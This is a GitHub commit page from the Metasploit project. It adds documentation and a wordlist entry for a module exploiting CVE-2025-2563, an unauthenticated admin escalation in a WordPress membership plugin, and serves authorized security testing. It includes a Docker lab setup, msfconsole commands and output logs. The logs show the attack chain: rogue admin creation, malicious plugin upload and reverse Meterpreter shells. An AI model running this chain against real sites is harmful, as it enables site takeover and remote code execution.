Skip to content

Commit fe5f56c

Browse files
msutovsky-r7msutovsky-r7
authored
Land rapid7#20159, adds module for privilege escalation in Wordpress (CVE-2025-2563)
Add Unauthenticated privesc for WP User Registration & Membership plugin (CVE-2025-2563)
2 parents 90f04f6 + 88ffe89 commit fe5f56c

File tree

3 files changed

+499
-0
lines changed

3 files changed

+499
-0
lines changed

‎data/wordlists/wp-exploitable-plugins.txt‎

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -46,6 +46,8 @@ sp-client-document-manager
4646
subscribe-to-comments
4747
suretriggers
4848
ultimate-member
49+
user-registration
50+
user-registration-pro
4951
website-contact-form-with-file-upload
5052
woocommerce-abandoned-cart
5153
woocommerce-payments

‎documentation/modules/exploit/multi/http/wp_user_registration_membership_escalation.md‎

Lines changed: 183 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,183 @@
1+
## Vulnerable Application
2+
3+
This Metasploit module exploits an unauthenticated privilege escalation in the
4+
WordPress User Registration & Membership plugin (Free ≤ 4.1.2, Pro ≤ 5.1.2) (CVE-2025-2563).
5+
When the Membership Addon is enabled, the plugin fails to prevent users from setting their
6+
own account role, allowing anyone to escalate to administrator.
7+
8+
To replicate a vulnerable environment for testing:
9+
10+
1. Install WordPress using the provided Docker Compose configuration.
11+
2. Download and install the User Registration plugin v4.1.1 (Free):
12+
[https://downloads.wordpress.org/plugin/user-registration.4.1.1.zip](https://downloads.wordpress.org/plugin/user-registration.4.1.1.zip)
13+
3. Activate the plugin and enable the **Membership** Addon under:
14+
`/wp-admin/admin.php?page=user-registration-dashboard#features`.
15+
4. No further configuration is required; vulnerability is present when the addon is active.
16+
- Permalinks must be enabled.
17+
18+
## Docker Compose Configuration
19+
20+
```yaml
21+
services:
22+
23+
wordpress:
24+
image: wordpress:6.3.2
25+
restart: always
26+
ports:
27+
- 5555:80
28+
environment:
29+
WORDPRESS_DB_HOST: db
30+
WORDPRESS_DB_USER: chocapikk
31+
WORDPRESS_DB_PASSWORD: dummy_password
32+
WORDPRESS_DB_NAME: exploit_market
33+
volumes:
34+
- wordpress:/var/www/html
35+
- ./custom.ini:/usr/local/etc/php/conf.d/custom.ini
36+
37+
db:
38+
image: mysql:5.7
39+
restart: always
40+
environment:
41+
MYSQL_DATABASE: exploit_market
42+
MYSQL_USER: chocapikk
43+
MYSQL_PASSWORD: dummy_password
44+
MYSQL_ROOT_PASSWORD: dummy_password
45+
volumes:
46+
- db:/var/lib/mysql
47+
48+
volumes:
49+
wordpress:
50+
db:
51+
```
52+
53+
Create a `custom.ini` file with:
54+
55+
```ini
56+
upload_max_filesize = 64M
57+
post_max_size = 64M
58+
```
59+
60+
## Verification Steps
61+
62+
1. Start the environment:
63+
64+
```bash
65+
docker-compose up -d
66+
```
67+
68+
2. Complete WordPress setup at [http://localhost:5555](http://localhost:5555).
69+
3. Confirm the User Registration v4.1.1 plugin is active under **Plugins**.
70+
4. Enable the **Membership** Addon at `/wp-admin/admin.php?page=user-registration-dashboard#features`.
71+
5. Launch `msfconsole`.
72+
6. Load the module:
73+
74+
```bash
75+
use exploit/multi/http/wp_user_registration_membership_escalation
76+
```
77+
78+
7. Set `RHOSTS` to the target IP, and configure credentials:
79+
80+
```bash
81+
set WP_USER eviluser
82+
set WP_PASS Str0ngP@ss!
83+
set WP_EMAIL [email protected]
84+
```
85+
86+
8. (Optional) Set `TARGETURI` if WordPress is installed in a subdirectory.
87+
9. Run the exploit:
88+
89+
```bash
90+
run
91+
```
92+
93+
## Options
94+
95+
* **WP_USER**, **WP_PASS**, **WP_EMAIL**: Credentials for the new administrator account to be created.
96+
97+
## Scenarios
98+
99+
### Successful Exploitation
100+
101+
**Setup:**
102+
103+
* Local WordPress instance with User Registration v4.1.1 (Free) and Membership Addon enabled.
104+
* Metasploit Framework
105+
106+
**Steps:**
107+
108+
1. Start `msfconsole`.
109+
2. Load the module:
110+
```bash
111+
use exploit/multi/http/wp_user_registration_membership_escalation
112+
```
113+
3. Configure options:
114+
```bash
115+
set RHOSTS 127.0.0.1
116+
set TARGETURI /
117+
set WP_USER admin2
118+
set WP_PASS P@ssw0rd!
119+
set WP_EMAIL [email protected]
120+
run
121+
```
122+
123+
**Expected Results (PHP payload):**
124+
125+
```plaintext
126+
msf6 exploit(multi/http/wp_user_registration_membership_escalation) > run http://lab:5555
127+
[*] Started reverse TCP handler on 192.168.1.36:4444
128+
[*] Running automatic check ("set AutoCheck false" to disable)
129+
[*] Detected WordPress version: 6.8.1
130+
[+] Detected user-registration version 4.1.1
131+
[+] The target appears to be vulnerable.
132+
[*] Registering new user with free membership...
133+
[+] User registered: eviluser
134+
[*] Escalating to administrator...
135+
[+] Administrator created: eviluser:Str0ngP@ss!
136+
[*] Authenticating via wp-login.php…
137+
[!] wp-login.php failed—trying plugin login page
138+
[+] Authenticated via plugin login page
139+
[*] Uploading malicious plugin...
140+
[*] Executing payload at /wp-content/plugins/wp_rxrpu/ajax_1vxd2.php...
141+
[*] Sending stage (40004 bytes) to 172.27.0.3
142+
[+] Deleted ajax_1vxd2.php
143+
[+] Deleted wp_rxrpu.php
144+
[+] Deleted ../wp_rxrpu
145+
[*] Meterpreter session 2 opened (192.168.1.36:4444 -> 172.27.0.3:41616) at 2025-05-09 16:55:20 +0200
146+
147+
meterpreter > sysinfo
148+
Computer : 111d64934b4f
149+
OS : Linux 111d64934b4f 6.14.2-2-cachyos #1 SMP PREEMPT_DYNAMIC Thu, 10 Apr 2025 17:27:10 +0000 x86_64
150+
Meterpreter : php/linux
151+
```
152+
153+
**Expected Results (Command payload):**
154+
155+
```plaintext
156+
msf6 exploit(multi/http/wp_user_registration_membership_escalation) > run http://lab:5555
157+
[*] Started reverse TCP handler on 192.168.1.36:4444
158+
[*] Running automatic check ("set AutoCheck false" to disable)
159+
[*] Detected WordPress version: 6.8.1
160+
[+] Detected user-registration version 4.1.1
161+
[+] The target appears to be vulnerable.
162+
[*] Registering new user with free membership...
163+
[+] User registered: eviluser2
164+
[*] Escalating to administrator...
165+
[+] Administrator created: eviluser2:Str0ngP@ss!
166+
[*] Authenticating via wp-login.php…
167+
[!] wp-login.php failed—trying plugin login page
168+
[+] Authenticated via plugin login page
169+
[*] Uploading malicious plugin...
170+
[*] Executing payload at /wp-content/plugins/wp_mwtqu/ajax_nncym.php...
171+
[*] Sending stage (3045380 bytes) to 172.27.0.3
172+
[+] Deleted ajax_nncym.php
173+
[+] Deleted wp_mwtqu.php
174+
[+] Deleted ../wp_mwtqu
175+
[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 172.27.0.3:59124) at 2025-05-09 16:56:39 +0200
176+
177+
meterpreter > sysinfo
178+
Computer : 172.27.0.3
179+
OS : Debian 12.10 (Linux 6.14.2-2-cachyos)
180+
Architecture : x64
181+
BuildTuple : x86_64-linux-musl
182+
Meterpreter : x64/linux
183+
```

0 commit comments

Comments
 (0)